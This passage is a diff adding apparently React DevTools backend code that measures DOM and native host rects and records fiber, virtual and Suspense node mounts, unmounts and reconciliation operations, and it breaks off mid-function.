+  function measureHostInstance(instance: HostInstance): null | Array<Rect> {
+    // Feature detect measurement capabilities of this environment.
+    // TODO: Consider making this capability injected by the ReactRenderer.
+    if (typeof instance !== 'object' || instance === null) {
+      return null;
+    }
+    if (
+      typeof instance.getClientRects === 'function' ||
+      instance.nodeType === 3
+    ) {
+      // DOM
+      const doc = instance.ownerDocument;
+      if (instance === doc.documentElement) {
+        // This is the document element. The size of this element is not actually
+        // what determines the whole scrollable area of the screen. Because any
+        // thing that overflows the document will also contribute to the scrollable.
+        // This is unlike overflow: scroll which clips those.
+        // Therefore, we use the scrollable size for this rect instead.
+        return [
+          {
+            x: 0,
+            y: 0,
+            width: instance.scrollWidth,
+            height: instance.scrollHeight,
+          },
+        ];
+      }
+      const result: Array<Rect> = [];
+      const win = doc && doc.defaultView;
+      const scrollX = win ? win.scrollX : 0;
+      const scrollY = win ? win.scrollY : 0;
+      let rects;
+      if (instance.nodeType === 3) {
+        // Text nodes cannot be measured directly but we can measure a Range.
+        if (typeof doc.createRange !== 'function') {
+          return null;
+        }
+        const range = doc.createRange();
+        if (typeof range.getClientRects !== 'function') {
+          return null;
+        }
+        range.selectNodeContents(instance);
+        rects = range.getClientRects();
+      } else {
+        rects = instance.getClientRects();
+      }
+      for (let i = 0; i < rects.length; i++) {
+        const rect = rects[i];
+        result.push({
+          x: rect.x + scrollX,
+          y: rect.y + scrollY,
+          width: rect.width,
+          height: rect.height,
+        });
+      }
+      return result;
+    }
+    if (instance.canonical) {
+      // Native
+      const publicInstance = instance.canonical.publicInstance;
+      if (!publicInstance) {
+        // The publicInstance may not have been initialized yet if there was no ref on this node.
+        // We can't initialize it from any existing Hook but we could fallback to this async form:
+        // renderer.extraDevToolsConfig.getInspectorDataForInstance(instance).hierarchy[last].getInspectorData().measure(callback)
+        return null;
+      }
+      if (typeof publicInstance.getBoundingClientRect === 'function') {
+        // enableAccessToHostTreeInFabric / ReadOnlyElement
+        return [publicInstance.getBoundingClientRect()];
+      }
+      if (typeof publicInstance.unstable_getBoundingClientRect === 'function') {
+        // ReactFabricHostComponent
+        return [publicInstance.unstable_getBoundingClientRect()];
+      }
+    }
+    return null;
+  }
+
+  function measureInstance(instance: DevToolsInstance): null | Array<Rect> {
+    // Synchronously return the client rects of the Host instances directly inside this Instance.
+    const hostInstances = findAllCurrentHostInstances(instance);
+    let result: null | Array<Rect> = null;
+    for (let i = 0; i < hostInstances.length; i++) {
+      const childResult = measureHostInstance(hostInstances[i]);
+      if (childResult !== null) {
+        if (result === null) {
+          result = childResult;
+        } else {
+          result = result.concat(childResult);
+        }
+      }
+    }
+    return result;
+  }
+
+  function getStringID(string: string | null): number {
+    if (string === null) {
+      return 0;
+    }
+    const existingEntry = pendingStringTable.get(string);
+    if (existingEntry !== undefined) {
+      return existingEntry.id;
+    }
+
+    const id = pendingStringTable.size + 1;
+    const encodedString = utfEncodeString(string);
+
+    pendingStringTable.set(string, {
+      encodedString,
+      id,
+    });
+
+    // The string table total length needs to account both for the string length,
+    // and for the array item that contains the length itself.
+    //
+    // Don't use string length for this table.
+    // It won't work for multibyte characters (like emoji).
+    pendingStringTableLength += encodedString.length + 1;
+
+    return id;
+  }
+
+  let isInDisconnectedSubtree = false;
+
+  function recordMount(
+    fiber: Fiber,
+    parentInstance: DevToolsInstance | null,
+  ): FiberInstance {
+    const isRoot = fiber.tag === HostRoot;
+    let fiberInstance;
+    if (isRoot) {
+      const entry = rootToFiberInstanceMap.get(fiber.stateNode);
+      if (entry === undefined) {
+        throw new Error('The root should have been registered at this point');
+      }
+      fiberInstance = entry;
+    } else {
+      fiberInstance = createFiberInstance(fiber);
+    }
+    idToDevToolsInstanceMap.set(fiberInstance.id, fiberInstance);
+
+    if (__DEBUG__) {
+      debug('recordMount()', fiberInstance, parentInstance);
+    }
+
+    recordReconnect(fiberInstance, parentInstance);
+    return fiberInstance;
+  }
+
+  function recordReconnect(
+    fiberInstance: FiberInstance,
+    parentInstance: DevToolsInstance | null,
+  ): void {
+    if (isInDisconnectedSubtree) {
+      // We're disconnected. We'll reconnect a hidden mount after the parent reappears.
+      return;
+    }
+    const id = fiberInstance.id;
+    const fiber = fiberInstance.data;
+
+    const isProfilingSupported = fiber.hasOwnProperty('treeBaseDuration');
+
+    const isRoot = fiber.tag === HostRoot;
+
+    if (isRoot) {
+      const hasOwnerMetadata = fiber.hasOwnProperty('_debugOwner');
+
+      // Adding a new field here would require a bridge protocol version bump (a backwads breaking change).
+      // Instead let's re-purpose a pre-existing field to carry more information.
+      let profilingFlags = 0;
+      if (isProfilingSupported) {
+        profilingFlags = PROFILING_FLAG_BASIC_SUPPORT;
+        if (typeof injectProfilingHooks === 'function') {
+          profilingFlags |= PROFILING_FLAG_TIMELINE_SUPPORT;
+        }
+        if (supportsPerformanceTracks) {
+          profilingFlags |= PROFILING_FLAG_PERFORMANCE_TRACKS_SUPPORT;
+        }
+      }
+
+      // Set supportsStrictMode to false for production renderer builds
+      const isProductionBuildOfRenderer = renderer.bundleType === 0;
+
+      pushOperation(TREE_OPERATION_ADD);
+      pushOperation(id);
+      pushOperation(ElementTypeRoot);
+      pushOperation((fiber.mode & StrictModeBits) !== 0 ? 1 : 0);
+      pushOperation(profilingFlags);
+      pushOperation(
+        !isProductionBuildOfRenderer && StrictModeBits !== 0 ? 1 : 0,
+      );
+      pushOperation(hasOwnerMetadata ? 1 : 0);
+
+      if (isProfiling) {
+        if (displayNamesByRootID !== null) {
+          displayNamesByRootID.set(id, getDisplayNameForRoot(fiber));
+        }
+      }
+    } else {
+      const suspenseNode = fiberInstance.suspenseNode;
+      if (suspenseNode !== null && fiber.memoizedState === null) {
+        // We're reconnecting an unsuspended Suspense. Measure to see if anything changed.
+        const prevRects = suspenseNode.rects;
+        const nextRects = measureInstance(fiberInstance);
+        if (!areEqualRects(prevRects, nextRects)) {
+          suspenseNode.rects = nextRects;
+          recordSuspenseResize(suspenseNode);
+        }
+      }
+
+      const {key} = fiber;
+      const displayName = getDisplayNameForFiber(fiber);
+      const elementType = getElementTypeForFiber(fiber);
+
+      // Finding the owner instance might require traversing the whole parent path which
+      // doesn't have great big O notation. Ideally we'd lazily fetch the owner when we
+      // need it but we have some synchronous operations in the front end like Alt+Left
+      // which selects the owner immediately. Typically most owners are only a few parents
+      // away so maybe it's not so bad.
+      const debugOwner = getUnfilteredOwner(fiber);
+      const ownerInstance = findNearestOwnerInstance(
+        parentInstance,
+        debugOwner,
+      );
+      if (
+        ownerInstance !== null &&
+        debugOwner === fiber._debugOwner &&
+        fiber._debugStack != null &&
+        ownerInstance.source === null
+      ) {
+        // The new Fiber is directly owned by the ownerInstance. Therefore somewhere on
+        // the debugStack will be a stack frame inside the ownerInstance's source.
+        ownerInstance.source = fiber._debugStack;
+      }
+
+      let unfilteredParent = parentInstance;
+      while (
+        unfilteredParent !== null &&
+        unfilteredParent.kind === FILTERED_FIBER_INSTANCE
+      ) {
+        unfilteredParent = unfilteredParent.parent;
+      }
+
+      const ownerID = ownerInstance === null ? 0 : ownerInstance.id;
+      const parentID = unfilteredParent === null ? 0 : unfilteredParent.id;
+
+      const displayNameStringID = getStringID(displayName);
+
+      // This check is a guard to handle a React element that has been modified
+      // in such a way as to bypass the default stringification of the "key" property.
+      const keyString =
+        key === null
+          ? null
+          : key === REACT_OPTIMISTIC_KEY
+            ? 'React.optimisticKey'
+            : String(key);
+      const keyStringID = getStringID(keyString);
+
+      const nameProp =
+        fiber.tag === SuspenseComponent
+          ? fiber.memoizedProps.name
+          : fiber.tag === ActivityComponent
+            ? fiber.memoizedProps.name
+            : null;
+      const namePropString = nameProp == null ? null : String(nameProp);
+      const namePropStringID = getStringID(namePropString);
+
+      pushOperation(TREE_OPERATION_ADD);
+      pushOperation(id);
+      pushOperation(elementType);
+      pushOperation(parentID);
+      pushOperation(ownerID);
+      pushOperation(displayNameStringID);
+      pushOperation(keyStringID);
+      pushOperation(namePropStringID);
+
+      // If this subtree has a new mode, let the frontend know.
+      if ((fiber.mode & StrictModeBits) !== 0) {
+        let parentFiber = null;
+        let parentFiberInstance = parentInstance;
+        while (parentFiberInstance !== null) {
+          if (parentFiberInstance.kind === FIBER_INSTANCE) {
+            parentFiber = parentFiberInstance.data;
+            break;
+          }
+          parentFiberInstance = parentFiberInstance.parent;
+        }
+        if (parentFiber === null || (parentFiber.mode & StrictModeBits) === 0) {
+          pushOperation(TREE_OPERATION_SET_SUBTREE_MODE);
+          pushOperation(id);
+          pushOperation(StrictMode);
+        }
+      }
+
+      // If this is an Activity component, check if it's hidden.
+      if (fiber.tag === ActivityComponent) {
+        const offscreenChild = fiber.child;
+        if (
+          offscreenChild !== null &&
+          offscreenChild.tag === OffscreenComponent &&
+          offscreenChild.memoizedState !== null
+        ) {
+          pushOperation(TREE_OPERATION_SET_SUBTREE_MODE);
+          pushOperation(id);
+          pushOperation(ActivityHiddenMode);
+        }
+      }
+    }
+
+    let componentLogsEntry = fiberToComponentLogsMap.get(fiber);
+    if (componentLogsEntry === undefined && fiber.alternate !== null) {
+      componentLogsEntry = fiberToComponentLogsMap.get(fiber.alternate);
+    }
+    recordConsoleLogs(fiberInstance, componentLogsEntry);
+
+    if (isProfilingSupported) {
+      recordProfilingDurations(fiberInstance, null);
+    }
+  }
+
+  function recordVirtualMount(
+    instance: VirtualInstance,
+    parentInstance: DevToolsInstance | null,
+    secondaryEnv: null | string,
+  ): void {
+    const id = instance.id;
+
+    idToDevToolsInstanceMap.set(id, instance);
+
+    recordVirtualReconnect(instance, parentInstance, secondaryEnv);
+  }
+
+  function recordVirtualReconnect(
+    instance: VirtualInstance,
+    parentInstance: DevToolsInstance | null,
+    secondaryEnv: null | string,
+  ): void {
+    if (isInDisconnectedSubtree) {
+      // We're disconnected. We'll reconnect a hidden mount after the parent reappears.
+      return;
+    }
+    const componentInfo = instance.data;
+
+    const key =
+      typeof componentInfo.key === 'string' ? componentInfo.key : null;
+    const env = componentInfo.env;
+    let displayName = componentInfo.name || '';
+    if (typeof env === 'string') {
+      // We model environment as an HoC name for now.
+      if (secondaryEnv !== null) {
+        displayName = secondaryEnv + '(' + displayName + ')';
+      }
+      displayName = env + '(' + displayName + ')';
+    }
+    const elementType = ElementTypeVirtual;
+
+    // Finding the owner instance might require traversing the whole parent path which
+    // doesn't have great big O notation. Ideally we'd lazily fetch the owner when we
+    // need it but we have some synchronous operations in the front end like Alt+Left
+    // which selects the owner immediately. Typically most owners are only a few parents
+    // away so maybe it's not so bad.
+    const debugOwner = getUnfilteredOwner(componentInfo);
+    const ownerInstance = findNearestOwnerInstance(parentInstance, debugOwner);
+    if (
+      ownerInstance !== null &&
+      debugOwner === componentInfo.owner &&
+      componentInfo.debugStack != null &&
+      ownerInstance.source === null
+    ) {
+      // The new Fiber is directly owned by the ownerInstance. Therefore somewhere on
+      // the debugStack will be a stack frame inside the ownerInstance's source.
+      ownerInstance.source = componentInfo.debugStack;
+    }
+
+    let unfilteredParent = parentInstance;
+    while (
+      unfilteredParent !== null &&
+      unfilteredParent.kind === FILTERED_FIBER_INSTANCE
+    ) {
+      unfilteredParent = unfilteredParent.parent;
+    }
+
+    const ownerID = ownerInstance === null ? 0 : ownerInstance.id;
+    const parentID = unfilteredParent === null ? 0 : unfilteredParent.id;
+
+    const displayNameStringID = getStringID(displayName);
+
+    // This check is a guard to handle a React element that has been modified
+    // in such a way as to bypass the default stringification of the "key" property.
+    const keyString = key === null ? null : String(key);
+    const keyStringID = getStringID(keyString);
+    const namePropStringID = getStringID(null);
+
+    const id = instance.id;
+
+    pushOperation(TREE_OPERATION_ADD);
+    pushOperation(id);
+    pushOperation(elementType);
+    pushOperation(parentID);
+    pushOperation(ownerID);
+    pushOperation(displayNameStringID);
+    pushOperation(keyStringID);
+    pushOperation(namePropStringID);
+
+    const componentLogsEntry =
+      componentInfoToComponentLogsMap.get(componentInfo);
+    recordConsoleLogs(instance, componentLogsEntry);
+  }
+
+  function recordSuspenseMount(
+    suspenseInstance: SuspenseNode,
+    parentSuspenseInstance: SuspenseNode | null,
+  ): void {
+    const fiberInstance = suspenseInstance.instance;
+    if (fiberInstance.kind === FILTERED_FIBER_INSTANCE) {
+      throw new Error('Cannot record a mount for a filtered Fiber instance.');
+    }
+    const fiberID = fiberInstance.id;
+
+    let unfilteredParent = parentSuspenseInstance;
+    while (
+      unfilteredParent !== null &&
+      unfilteredParent.instance.kind === FILTERED_FIBER_INSTANCE
+    ) {
+      unfilteredParent = unfilteredParent.parent;
+    }
+    const unfilteredParentInstance =
+      unfilteredParent !== null ? unfilteredParent.instance : null;
+    if (
+      unfilteredParentInstance !== null &&
+      unfilteredParentInstance.kind === FILTERED_FIBER_INSTANCE
+    ) {
+      throw new Error(
+        'Should not have a filtered instance at this point. This is a bug.',
+      );
+    }
+    const parentID =
+      unfilteredParentInstance === null ? 0 : unfilteredParentInstance.id;
+
+    const fiber = fiberInstance.data;
+    const props = fiber.memoizedProps;
+    // The frontend will guess a name based on heuristics (e.g. owner) if no explicit name is given.
+    const name =
+      fiber.tag !== SuspenseComponent || props === null
+        ? null
+        : props.name || null;
+    const nameStringID = getStringID(name);
+
+    const isSuspended =
+      fiber.tag === SuspenseComponent && fiber.memoizedState !== null;
+
+    if (__DEBUG__) {
+      console.log('recordSuspenseMount()', suspenseInstance);
+    }
+
+    idToSuspenseNodeMap.set(fiberID, suspenseInstance);
+
+    pushOperation(SUSPENSE_TREE_OPERATION_ADD);
+    pushOperation(fiberID);
+    pushOperation(parentID);
+    pushOperation(nameStringID);
+    pushOperation(isSuspended ? 1 : 0);
+
+    const rects = suspenseInstance.rects;
+    if (rects === null) {
+      pushOperation(-1);
+    } else {
+      pushOperation(rects.length);
+      for (let i = 0; i < rects.length; ++i) {
+        const rect = rects[i];
+        pushOperation(Math.round(rect.x * 1000));
+        pushOperation(Math.round(rect.y * 1000));
+        pushOperation(Math.round(rect.width * 1000));
+        pushOperation(Math.round(rect.height * 1000));
+      }
+    }
+  }
+
+  function recordUnmount(fiberInstance: FiberInstance): void {
+    if (__DEBUG__) {
+      debug('recordUnmount()', fiberInstance, reconcilingParent);
+    }
+
+    recordDisconnect(fiberInstance);
+
+    const suspenseNode = fiberInstance.suspenseNode;
+    if (suspenseNode !== null) {
+      recordSuspenseUnmount(suspenseNode);
+    }
+
+    idToDevToolsInstanceMap.delete(fiberInstance.id);
+
+    untrackFiber(fiberInstance, fiberInstance.data);
+  }
+
+  function recordDisconnect(fiberInstance: FiberInstance): void {
+    if (isInDisconnectedSubtree) {
+      // Already disconnected.
+      return;
+    }
+
+    if (trackedPathMatchInstance === fiberInstance) {
+      // We're in the process of trying to restore previous selection.
+      // If this fiber matched but is being hidden, there's no use trying.
+      // Reset the state so we don't keep holding onto it.
+      setTrackedPath(null);
+    }
+
+    const id = fiberInstance.id;
+    pendingRealUnmountedIDs.push(id);
+  }
+
+  function recordSuspenseResize(suspenseNode: SuspenseNode): void {
+    if (__DEBUG__) {
+      console.log('recordSuspenseResize()', suspenseNode);
+    }
+    const fiberInstance = suspenseNode.instance;
+    if (fiberInstance.kind !== FIBER_INSTANCE) {
+      // TODO: Resizes of filtered Suspense nodes are currently dropped.
+      return;
+    }
+
+    pushOperation(SUSPENSE_TREE_OPERATION_RESIZE);
+    pushOperation(fiberInstance.id);
+    const rects = suspenseNode.rects;
+    if (rects === null) {
+      pushOperation(-1);
+    } else {
+      pushOperation(rects.length);
+      for (let i = 0; i < rects.length; ++i) {
+        const rect = rects[i];
+        pushOperation(Math.round(rect.x * 1000));
+        pushOperation(Math.round(rect.y * 1000));
+        pushOperation(Math.round(rect.width * 1000));
+        pushOperation(Math.round(rect.height * 1000));
+      }
+    }
+  }
+
+  function recordSuspenseSuspenders(suspenseNode: SuspenseNode): void {
+    if (__DEBUG__) {
+      console.log('recordSuspenseSuspenders()', suspenseNode);
+    }
+    const fiberInstance = suspenseNode.instance;
+    if (fiberInstance.kind !== FIBER_INSTANCE) {
+      // TODO: Suspender updates of filtered Suspense nodes are currently dropped.
+      return;
+    }
+
+    // TODO: Just enqueue the operations here instead of stashing by id.
+
+    // Ensure each environment gets recorded in the string table since it is emitted
+    // before we loop it over again later during flush.
+    suspenseNode.environments.forEach((count, env) => {
+      getStringID(env);
+    });
+    pendingSuspenderChanges.add(fiberInstance.id);
+  }
+
+  function recordSuspenseUnmount(suspenseInstance: SuspenseNode): void {
+    if (__DEBUG__) {
+      console.log(
+        'recordSuspenseUnmount()',
+        suspenseInstance,
+        reconcilingParentSuspenseNode,
+      );
+    }
+
+    const devtoolsInstance = suspenseInstance.instance;
+    if (devtoolsInstance.kind !== FIBER_INSTANCE) {
+      throw new Error("Can't unmount a filtered SuspenseNode. This is a bug.");
+    }
+    const fiberInstance = devtoolsInstance;
+    const id = fiberInstance.id;
+
+    // To maintain child-first ordering,
+    // we'll push it into one of these queues,
+    // and later arrange them in the correct order.
+    pendingRealUnmountedSuspenseIDs.push(id);
+
+    pendingSuspenderChanges.delete(id);
+    idToSuspenseNodeMap.delete(id);
+  }
+
+  // Running state of the remaining children from the previous version of this parent that
+  // we haven't yet added back. This should be reset anytime we change parent.
+  // Any remaining ones at the end will be deleted.
+  let remainingReconcilingChildren: null | DevToolsInstance = null;
+  // The previously placed child.
+  let previouslyReconciledSibling: null | DevToolsInstance = null;
+  // To save on stack allocation and ensure that they are updated as a pair, we also store
+  // the current parent here as well.
+  let reconcilingParent: null | DevToolsInstance = null;
+
+  let remainingReconcilingChildrenSuspenseNodes: null | SuspenseNode = null;
+  // The previously placed child.
+  let previouslyReconciledSiblingSuspenseNode: null | SuspenseNode = null;
+  // To save on stack allocation and ensure that they are updated as a pair, we also store
+  // the current parent here as well.
+  let reconcilingParentSuspenseNode: null | SuspenseNode = null;
+
+  function insertSuspendedBy(asyncInfo: ReactAsyncInfo): void {
+    if (reconcilingParent === null || reconcilingParentSuspenseNode === null) {
+      throw new Error(
+        'It should not be possible to have suspended data outside the root. ' +
+          'Even suspending at the first position is still a child of the root.',
+      );
+    }
+    const parentSuspenseNode = reconcilingParentSuspenseNode;
+    // Use the nearest unfiltered parent so that there's always some component that has
+    // the entry on it even if you filter, or the root if all are filtered.
+    let parentInstance = reconcilingParent;
+    while (
+      parentInstance.kind === FILTERED_FIBER_INSTANCE &&
+      parentInstance.parent !== null &&
+      // We can't move past the parent Suspense node.
+      // The Suspense node holding async info must be a parent of the devtools instance (or the instance itself)
+      parentInstance !== parentSuspenseNode.instance
+    ) {
+      parentInstance = parentInstance.parent;
+    }
+    if (parentInstance.kind === FIBER_INSTANCE) {
+      const fiber = parentInstance.data;
+
+      if (
+        fiber.tag === SuspenseComponent &&
+        parentInstance !== parentSuspenseNode.instance
+      ) {
+        // We're about to attach async info to a Suspense boundary we're not
+        // actually considering the parent Suspense boundary for this async info.
+        // We must have not found a suitable Fiber inside the fallback (e.g. due to filtering).
+        // Use the parent of this instance instead since we treat async info
+        // attached to a Suspense boundary as that async info triggering the
+        // fallback of that boundary.
+        const parent = parentInstance.parent;
+        if (parent === null) {
+          // This shouldn't happen. Any <Suspense> would have at least have the
+          // host root as the parent which can't have a fallback.
+          throw new Error(
+            'Did not find a suitable instance for this async info. This is a bug in React.',
+          );
+        }
+        parentInstance = parent;
+      }
+    }
+
+    const suspenseNodeSuspendedBy = parentSuspenseNode.suspendedBy;
+    const ioInfo = asyncInfo.awaited;
+    let suspendedBySet = suspenseNodeSuspendedBy.get(ioInfo);
+    if (suspendedBySet === undefined) {
+      suspendedBySet = new Set();
+      suspenseNodeSuspendedBy.set(ioInfo, suspendedBySet);
+      // We've added a dependency. We must increment the ref count of the environment.
+      const env = ioInfo.env;
+      if (env != null) {
+        const environmentCounts = parentSuspenseNode.environments;
+        const count = environmentCounts.get(env);
+        if (count === undefined || count === 0) {
+          environmentCounts.set(env, 1);
+          // We've discovered a new environment for this SuspenseNode. We'll to update the node.
+          recordSuspenseSuspenders(parentSuspenseNode);
+        } else {
+          environmentCounts.set(env, count + 1);
+        }
+      }
+    }
+    // The child of the Suspense boundary that was suspended on this, or null if suspended at the root.
+    // This is used to keep track of how many dependents are still alive and also to get information
+    // like owner instances to link down into the tree.
+    if (!suspendedBySet.has(parentInstance)) {
+      suspendedBySet.add(parentInstance);
+      const virtualEndTime = getVirtualEndTime(ioInfo);
+      if (
+        !parentSuspenseNode.hasUniqueSuspenders &&
+        !ioExistsInSuspenseAncestor(parentSuspenseNode, ioInfo)
+      ) {
+        // This didn't exist in the parent before, so let's mark this boundary as having a unique suspender.
+        parentSuspenseNode.hasUniqueSuspenders = true;
+        if (parentSuspenseNode.endTime < virtualEndTime) {
+          parentSuspenseNode.endTime = virtualEndTime;
+        }
+        recordSuspenseSuspenders(parentSuspenseNode);
+      } else if (parentSuspenseNode.endTime < virtualEndTime) {
+        parentSuspenseNode.endTime = virtualEndTime;
+        recordSuspenseSuspenders(parentSuspenseNode);
+      }
+    }
+    // We have observed at least one known reason this might have been suspended.
+    parentSuspenseNode.hasUnknownSuspenders = false;
+    // Suspending right below the root is not attributed to any particular component in UI
+    // other than the SuspenseNode and the HostRoot's FiberInstance.
+    const suspendedBy = parentInstance.suspendedBy;
+    if (suspendedBy === null) {
+      parentInstance.suspendedBy = [asyncInfo];
+    } else if (suspendedBy.indexOf(asyncInfo) === -1) {
+      suspendedBy.push(asyncInfo);
+    }
+  }
+
+  function unblockSuspendedBy(
+    parentSuspenseNode: SuspenseNode,
+    ioInfo: ReactIOInfo,
+  ): void {
+    const firstChild = parentSuspenseNode.firstChild;
+    if (firstChild === null) {
+      return;
+    }
+    let node: SuspenseNode = firstChild;
+    while (node !== null) {
+      if (node.suspendedBy.has(ioInfo)) {
+        // We have found a child boundary that depended on the unblocked I/O.
+        // It can now be marked as having unique suspenders. We can skip its children
+        // since they'll still be blocked by this one.
+        if (!node.hasUniqueSuspenders) {
+          recordSuspenseSuspenders(node);
+        }
+        node.hasUniqueSuspenders = true;
+        node.hasUnknownSuspenders = false;
+      } else if (node.firstChild !== null) {
+        node = node.firstChild;
+        continue;
+      }
+      while (node.nextSibling === null) {
+        if (node.parent === null || node.parent === parentSuspenseNode) {
+          return;
+        }
+        node = node.parent;
+      }
+      node = node.nextSibling;
+    }
+  }
+
+  function computeEndTime(suspenseNode: SuspenseNode) {
+    let maxEndTime = 0;
+    suspenseNode.suspendedBy.forEach((set, ioInfo) => {
+      const virtualEndTime = getVirtualEndTime(ioInfo);
+      if (virtualEndTime > maxEndTime) {
+        maxEndTime = virtualEndTime;
+      }
+    });
+    return maxEndTime;
+  }
+
+  function removePreviousSuspendedBy(
+    instance: DevToolsInstance,
+    previousSuspendedBy: null | Array<ReactAsyncInfo>,
+    parentSuspenseNode: null | SuspenseNode,
+  ): void {
+    // Remove any async info if they were in the previous set but
+    // is no longer in the new set.
+    // If we just reconciled a SuspenseNode, we need to remove from that node instead of the parent.
+    // This is different from inserting because inserting is done during reconiliation
+    // whereas removal is done after we're done reconciling.
+    const suspenseNode =
+      instance.suspenseNode === null
+        ? parentSuspenseNode
+        : instance.suspenseNode;
+    if (previousSuspendedBy !== null && suspenseNode !== null) {
+      const nextSuspendedBy = instance.suspendedBy;
+      let changedEnvironment = false;
+      let mayHaveChangedEndTime = false;
+      for (let i = 0; i < previousSuspendedBy.length; i++) {
+        const asyncInfo = previousSuspendedBy[i];
+        if (
+          nextSuspendedBy === null ||
+          (nextSuspendedBy.indexOf(asyncInfo) === -1 &&
+            getAwaitInSuspendedByFromIO(nextSuspendedBy, asyncInfo.awaited) ===
+              null)
+        ) {
+          // This IO entry is no longer blocking the current tree.
+          // Let's remove it from the parent SuspenseNode.
+          const ioInfo = asyncInfo.awaited;
+          const suspendedBySet = suspenseNode.suspendedBy.get(ioInfo);
+
+          if (suspenseNode.endTime === getVirtualEndTime(ioInfo)) {
+            // This may be the only remaining entry at this end time. Recompute the end time.
+            mayHaveChangedEndTime = true;
+          }
+
+          if (
+            suspendedBySet === undefined ||
+            !suspendedBySet.delete(instance)
+          ) {
+            // A boundary can await the same IO multiple times.
+            // We still want to error if we're trying to remove IO that isn't present on
+            // this boundary so we need to check if we've already removed it.
+            // We're assuming previousSuspendedBy is a small array so this should be faster
+            // than allocating and maintaining a Set.
+            let alreadyRemovedIO = false;
+            for (let j = 0; j < i; j++) {
+              const removedIOInfo = previousSuspendedBy[j].awaited;
+              if (removedIOInfo === ioInfo) {
+                alreadyRemovedIO = true;
+                break;
+              }
+            }
+            if (!alreadyRemovedIO) {
+              throw new Error(
+                'We are cleaning up async info that was not on the parent Suspense boundary. ' +
+                  'This is a bug in React.',
+              );
+            }
+          }
+          if (suspendedBySet !== undefined && suspendedBySet.size === 0) {
+            suspenseNode.suspendedBy.delete(ioInfo);
+            // Successfully removed all dependencies. We can decrement the ref count of the environment.
+            const env = ioInfo.env;
+            if (env != null) {
+              const environmentCounts = suspenseNode.environments;
+              const count = environmentCounts.get(env);
+              if (count === undefined || count === 0) {
+                throw new Error(
+                  'We are removing an environment but it was not in the set. ' +
+                    'This is a bug in React.',
+                );
+              }
+              if (count === 1) {
+                environmentCounts.delete(env);
+                // Last one. We've now change the set of environments. We'll need to update the node.
+                changedEnvironment = true;
+              } else {
+                environmentCounts.set(env, count - 1);
+              }
+            }
+
+            if (
+              suspenseNode.hasUniqueSuspenders &&
+              !ioExistsInSuspenseAncestor(suspenseNode, ioInfo)
+            ) {
+              // This entry wasn't in any ancestor and is no longer in this suspense boundary.
+              // This means that a child might now be the unique suspender for this IO.
+              // Search the child boundaries to see if we can reveal any of them.
+              unblockSuspendedBy(suspenseNode, ioInfo);
+            }
+          }
+        }
+      }
+      const newEndTime = mayHaveChangedEndTime
+        ? computeEndTime(suspenseNode)
+        : suspenseNode.endTime;
+      if (changedEnvironment || newEndTime !== suspenseNode.endTime) {
+        suspenseNode.endTime = newEndTime;
+        recordSuspenseSuspenders(suspenseNode);
+      }
+    }
+  }
+
+  function insertChild(instance: DevToolsInstance): void {
+    const parentInstance = reconcilingParent;
+    if (parentInstance === null) {
+      // This instance is at the root.
+      return;
+    }
+    // Place it in the parent.
+    instance.parent = parentInstance;
+    if (previouslyReconciledSibling === null) {
+      previouslyReconciledSibling = instance;
+      parentInstance.firstChild = instance;
+    } else {
+      previouslyReconciledSibling.nextSibling = instance;
+      previouslyReconciledSibling = instance;
+    }
+    instance.nextSibling = null;
+    // Insert any SuspenseNode into its parent Node.
+    const suspenseNode = instance.suspenseNode;
+    if (suspenseNode !== null) {
+      const parentNode = reconcilingParentSuspenseNode;
+      if (parentNode !== null) {
+        suspenseNode.parent = parentNode;
+        if (previouslyReconciledSiblingSuspenseNode === null) {
+          previouslyReconciledSiblingSuspenseNode = suspenseNode;
+          parentNode.firstChild = suspenseNode;
+        } else {
+          previouslyReconciledSiblingSuspenseNode.nextSibling = suspenseNode;
+          previouslyReconciledSiblingSuspenseNode = suspenseNode;
+        }
+        suspenseNode.nextSibling = null;
+      }
+    }
+  }
+
+  function moveChild(
+    instance: DevToolsInstance,
+    previousSibling: null | DevToolsInstance,
+  ): void {
+    removeChild(instance, previousSibling);
+    insertChild(instance);
+  }
+
+  function removeChild(
+    instance: DevToolsInstance,
+    previousSibling: null | DevToolsInstance,
+  ): void {
+    if (instance.parent === null) {
+      if (remainingReconcilingChildren === instance) {
+        throw new Error(
+          'Remaining children should not have items with no parent',
+        );
+      } else if (instance.nextSibling !== null) {
+        throw new Error('A deleted instance should not have next siblings');
+      }
+      // Already deleted.
+      return;
+    }
+    const parentInstance = reconcilingParent;
+    if (parentInstance === null) {
+      throw new Error('Should not have a parent if we are at the root');
+    }
+    if (instance.parent !== parentInstance) {
+      throw new Error(
+        'Cannot remove a node from a different parent than is being reconciled.',
+      );
+    }
+    // Remove an existing child from its current position, which we assume is in the
+    // remainingReconcilingChildren set.
+    if (previousSibling === null) {
+      // We're first in the remaining set. Remove us.
+      if (remainingReconcilingChildren !== instance) {
+        throw new Error(
+          'Expected a placed child to be moved from the remaining set.',
+        );
+      }
+      remainingReconcilingChildren = instance.nextSibling;
+    } else {
+      previousSibling.nextSibling = instance.nextSibling;
+    }
+    instance.nextSibling = null;
+    instance.parent = null;
+
+    // Remove any SuspenseNode from its parent.
+    const suspenseNode = instance.suspenseNode;
+    if (suspenseNode !== null && suspenseNode.parent !== null) {
+      const parentNode = reconcilingParentSuspenseNode;
+      if (parentNode === null) {
+        throw new Error('Should not have a parent if we are at the root');
+      }
+      if (suspenseNode.parent !== parentNode) {
+        throw new Error(
+          'Cannot remove a Suspense node from a different parent than is being reconciled.',
+        );
+      }
+      let previousSuspenseSibling = remainingReconcilingChildrenSuspenseNodes;
+      if (previousSuspenseSibling === suspenseNode) {
+        // We're first in the remaining set. Remove us.
+        remainingReconcilingChildrenSuspenseNodes = suspenseNode.nextSibling;
+      } else {
+        // Search for our previous sibling and remove us.
+        while (previousSuspenseSibling !== null) {
+          if (previousSuspenseSibling.nextSibling === suspenseNode) {
+            previousSuspenseSibling.nextSibling = suspenseNode.nextSibling;
+            break;
+          }
+          previousSuspenseSibling = previousSuspenseSibling.nextSibling;
+        }
+      }
+      suspenseNode.nextSibling = null;
+      suspenseNode.parent = null;
+    }
+  }
+
+  function isHiddenOffscreen(fiber: Fiber): boolean {
+    switch (fiber.tag) {
+      case LegacyHiddenComponent:
+      // fallthrough since all published implementations currently implement the same state as Offscreen.
+      case OffscreenComponent:
+        return fiber.memoizedState !== null;
+      default:
+        return false;
+    }
+  }
+
+  // Returns true if this is a hidden OffscreenComponent that belongs to
+  // an Activity boundary (as opposed to Suspense). Activity's children
+  // should remain visible in the DevTools tree even when hidden.
+  function isActivityHiddenOffscreen(fiber: Fiber): boolean {
+    return (
+      isHiddenOffscreen(fiber) &&
